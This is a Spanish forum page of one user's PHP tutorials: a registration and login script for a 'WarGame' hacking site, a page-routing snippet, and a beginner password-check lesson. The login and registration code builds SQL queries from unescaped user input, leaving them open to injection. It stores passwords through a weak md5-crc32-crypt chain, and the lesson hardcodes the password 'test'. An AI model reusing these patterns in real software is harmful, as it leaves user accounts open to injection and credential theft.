                  <option>Estados Unidos</option>
                  <option>Peru</option>
                  <option>Otro</option>
                </select>
              </label></td>
            </tr>
            <tr>
              <td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Pagina Web:</div></td>
              <td height="21" class="Estilo2"><input name="web" type="text" class="Estilo2" id="web" size="15" /></td>
            </tr>
            <tr>
              <td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Edad:</div></td>
              <td height="21" class="Estilo2"><select name="age" id="select">
                <option>12</option>
                <option>13</option>
                <option>14</option>
                <option>15</option>
                <option>16</option>
                <option>17</option>
                <option> 18</option>
                            </select></td>
            </tr>
            <tr>
              <td height="21" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Referido:</div></td>
              <td height="21" class="Estilo2"><input name="refer" type="text" class="Estilo2" id="refer" size="15" /></td>
            </tr>
            <tr>
              <td height="21" colspan="2" class="Estilo2"><div align="center">
                <input name="Submit" type="submit" class="Estilo2" value="Registrar" />
              </div></td>
            </tr>
           
          </table>
</form>';

}else{
$status = "<span class='Estilo2'>Hola " . $_SESSION['nick'] ."<br><a href='logout.php'>Salir</a></span>";
echo '<script language="JavaScript" type="text/javascript">
alert("Actualmente estas logeado por lo tanto no podras registrarte.");
</script>';
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
$medio = "<span class='Estilo3'>Estas actualmente logeado, por lo tanto no podras registrarte.</span>";
}
}

if ($_GET['modo']=="registrar2" && $_GET['proceso']=="comprobando"){
include('config.php');
if ($_SESSION['logeado'] != "SI"){
$country = $_POST['country'];
$age = $_POST['age'];
if(($_POST['nick'] == '') or ($_POST['user'] == '') or ($_POST['passwd'] == '') or ($_POST['mail'] == '' ) or ($_POST['refer'] == '') )
{
$medio = "<span class='Estilo3'>Te faltaron rellenar campos.</span>";
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
if($_POST['passwd'] != $_POST['passwd2'])
{
$medio = '<span class="Estilo3">La claves no coinciden.</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
$nick = stripslashes($_POST["nick"]);
$nick = strip_tags($nick);
$user = stripslashes($_POST["user"]);
$user = strip_tags($user);
$pass = stripslashes($_POST["passwd"]);
$pass = strip_tags($pass);
$passs = md5 ($pass);
$passss = crc32($passs);
$pass = crypt($passss, "xtemp");
$usuarios = mysql_query("SELECT user FROM cuentas WHERE user='$user' ");
if($user_ok = mysql_fetch_array($usuarios))
{
$medio = '<span class="Estilo3">El usuario '.$user.' ya esta registrado</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
mysql_free_result($usuarios);
}else{
$mail = $_POST["mail"];
$pais = $_POST['country'];
$web = $_POST['web'];
$web = strip_tags($web);
$age = $_POST['age'];
$refer = $_POST['refer'];

if (($refer == $nick) or ($refer == $user)){
$medio = '<span class="Estilo3">No te puedes poner como referido.</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
$refer = strip_tags($refer);
mysql_query("INSERT INTO users (nick,user,pass,email,country,web,age,refer) values ('$nick','$user','$pass','$mail','$pais','$web','$age','$refer')");
$medio = '<span class="Estilo3">El usuario '.$user.' ha sido registrado con éxito, en unos momentos sera redireccionado.</span>';
echo "<meta http-equiv='Refresh' content='3;url=index.php'>";
}
}
}
}
}else{
$status = "<span class='Estilo2'>Hola " . $_SESSION['nick'] ."<br><a href='logout.php'>Salir</a></span>";
echo '<script language="JavaScript" type="text/javascript">
alert("Actualmente estas logeado por lo tanto no podras registrarte.");
</script>';
$medio = "<span class='Estilo3'>Estas actualmente logeado, por lo tanto no podras registrarte.</span>";
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
}
}

if ($_GET['modo']=="donar"){
$medio = '<center><span class="Estilo3">El fin de sus donaciones no es con ningun fin de lucro si no<br>que gracias a ustedes este WarGame sera muy grande.<br>Tambien el dinero recolectado se usara para el mantenimiento del host y del dominio.</span><br><br><br><form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="business" value="F94V7UWAB8ZHG">
<input type="hidden" name="lc" value="MX">
<input type="hidden" name="button_subtype" value="products">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="bn" value="PP-BuyNowBF:btn_paynow_SM.gif:NonHosted">
<table>
<tr><td><input type="hidden" name="on0" value="Donar"><span class="Estilo3">Donar</span></td></tr><tr><td><select name="os0">
<option value="1 Dolar">1 Dolar $1.00</option>
<option value="2 Dolares">2 Dolares $2.00</option>
<option value="5 Dolares">5 Dolares $5.00</option>
</select> </td></tr>
</table>
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="option_select0" value="1 Dolar">
<input type="hidden" name="option_amount0" value="1.00">
<input type="hidden" name="option_select1" value="2 Dolares">
<input type="hidden" name="option_amount1" value="2.00">
<input type="hidden" name="option_select2" value="5 Dolares">
<input type="hidden" name="option_amount2" value="5.00">
<input type="hidden" name="option_index" value="0">
<input type="image" src="https://www.paypal.com/es_XC/i/btn/btn_paynow_SM.gif" border="0" name="submit" alt="PayPal. La forma rápida y segura de pagar en Internet.">
<img alt="" border="0" src="https://www.paypal.com/es_XC/i/scr/pixel.gif" width="1" height="1">
</form></center>
';
}
if ($_GET['modo']=="salir"){
session_start();
session_destroy();
$medio = "<span class='Estilo3'>Te has desconectado correctamente.</span>";
$status = '<form name="form1" method="post" action="comprobando_login.php">
    <label>
    <div align="center"><span class="Estilo2">Usuario: </span>
          <input name="usuario" type="text" class="Estilo2" id="usuario" size="15">
          <br>
        <span class="Estilo2">Clave:&nbsp;&nbsp;&nbsp;&nbsp;</span>
          <input name="password" type="password" class="Estilo2" id="password" size="15">
          <br>
          <input name="Submit" type="submit" class="Estilo2" value="Entrar" target="_blank">
      <br>
        </div>
    </label>
    <div align="center"><span class="Estilo2"><a href="recordar.php">Recordar clave</a>. <a href="registrar.php">Registrar</a>.     </span>           </div>
  </form>';
}

if($_GET['modo']=="wargames"){
include('wargames.php');
}
if($_GET['modo']=="login"){
include('config.php');
if( ($_POST["usuario"] == '') or ($_POST["password"] == '') )
{
$medio = "<span class='Estilo7'>Necesitas introducir tus datos.</span>";
}else{
$user = $_POST['usuario'];
$passs = $_POST['password'];
$passss = md5 ($passs);
$passsss = crc32($passss);
$pass = crypt($passsss,"xtemp");
$usuarios = mysql_query("SELECT * FROM users WHERE user='$user' and pass='$pass'");
if($user_ok = mysql_fetch_array($usuarios))
{
session_register("logeado");
session_register("nick");
session_register("user");
$_SESSION['logeado'] = "SI";
$_SESSION['nick'] = $user_ok["nick"];
$_SESSION['user'] = $user_ok["user"];
$usuario = $_SESSION['nick'];
echo '<script language="JavaScript" type="text/javascript">
alert("Bienvenido, en unos momentos seras redirigido.");
</script>';
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
}else{
$medio = '<span class="Estilo7">Username y Password incorrecto.</span>';
}
}
}
?>

Un código mas práctico:

Código: (php) [Seleccionar]
<?php
$medio 
"Selecciona seccion";
if (
$_GET[&#39;parte&#39;]=="nosotros"){
$medio "Nosotros somos una nueva comunidad de Hack que pretende ensenar a los demas";
}
if (
$_GET[&#39;parte&#39;]=="contacto"){
$medio "Agregame a Xt3mP@h4x0rz.us para aclarar sus dudas";
}
if (
$_GET[&#39;parte&#39;]=="foro"){
$medio "Ve a [url=http://www.phperos.net]www.phperos.net[/url] para ver el foro";
}
echo 
$medio
?>

Espero que les sirva para simplificar todo, asi solo tienen un solo un archivo .PHP.

Saludos.

160
Tutoriales PHP / Pedir clave de acceso en PHP
« en: 07 de Marzo de 2010, 05:35:49 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

#########################################################################

En este tutorial aprenderemos a como pedir una contraseña para mostrar el contenido mediante el lenguaje de programacion PHP, utilizaremos el metodo POST y una de las condiciones de PHP, el famoso "If" en español significa "Si...".

Ejemplo: Si tienes 18 años puedes pasar, Si no no puedes entrar.

Necesitaremos un editor de texto, esta vez solo utilizaremos dos paginas, un HTML con el formulario y un PHP para comprobar.

Antes de seguir te recomiendo dar click aqui para que entiendas mas sobre estas etiquetas.

El codigo de entrar.html sera asi (Primero lo escribo y despues lo explico):

Código: (html) [Seleccionar]
<html>
<title>Identificacion</title>
<body>
<form action="entrar.php" method="POST">
<input type="text" name="pass" id="pass"><br>
<input type="submit" name="submit" value="Entrar">
</form>
</html>

  • Como ya sabran, indicamos que se trata de codigo HTML mediante las etiquetas <html> y </html>
  • Con el comando <input type="text" name="pass" id="pass"> le indicamos que sera una casilla de texto con el nombre pass y el id pass.
  • Con el comando <input type="submit" name="submit" value="Entrar"> le indicamos que sera un boton que enviara los datos a determinada pagina y que mostrara el texto "Entrar".
  • Con el <form action="entrar.php method="POST"> le indicamos que hara un llamado a la pagina "entrar.php" cuando den click en el boton y enviara los datos por el metodo "POST".


Ahora nuestro entrar.php sera de la siguiente forma:

Código: (php) [Seleccionar]
<?php
$clave 
$_POST[&#39;pass&#39;];
if ($clave == "test"){
echo 
"Logeado correctamente";
}else{
echo 
"La clave es incorrecta";
}
?>


  • Como ya debemos de saber, con las etiquetas <?php y ?> indicamos que dentro de estas etiquetas sera codigo PHP.
  • Aqui nuestra variable se llama "clave", pero puede ser $loquesea y le estamos indicando el valor de la casilla de texto de entrar.html, que la obtenemos con el comando $_POST['casilla_de_texto'] = $_POST['pass'].
  • Aqui nuestra condicion if funciona de la siguiente manera, un ejemplo practico es: if (Condicion){Que pasa si la condicion se cumple}si no{Que pasa si la condicion no se cumple}; por lo tanto seria asi:
    Si la variable $clave es "IGUAL" a "test" te mostrara el mensaje "Logeado correctamente", si no te mostrara el mensaje "La clave es incorrecta.
  • Cabe mencionar que ahi una gran diferencia entre el signo "=" y el doble signo "==", ya que el signo "=" le asigna un valor a determinada variable y el doble signo "==" hace una comparacion.


Y pues asi de sencillo es todo, solo cambien "test" por la clave que quieran pedir y listo.

P.D. Recuerden poner el signo " ; " despues de cada linea para evitar error de sintaxis.

Saludos.

Páginas: 1 ... 9 10 [11]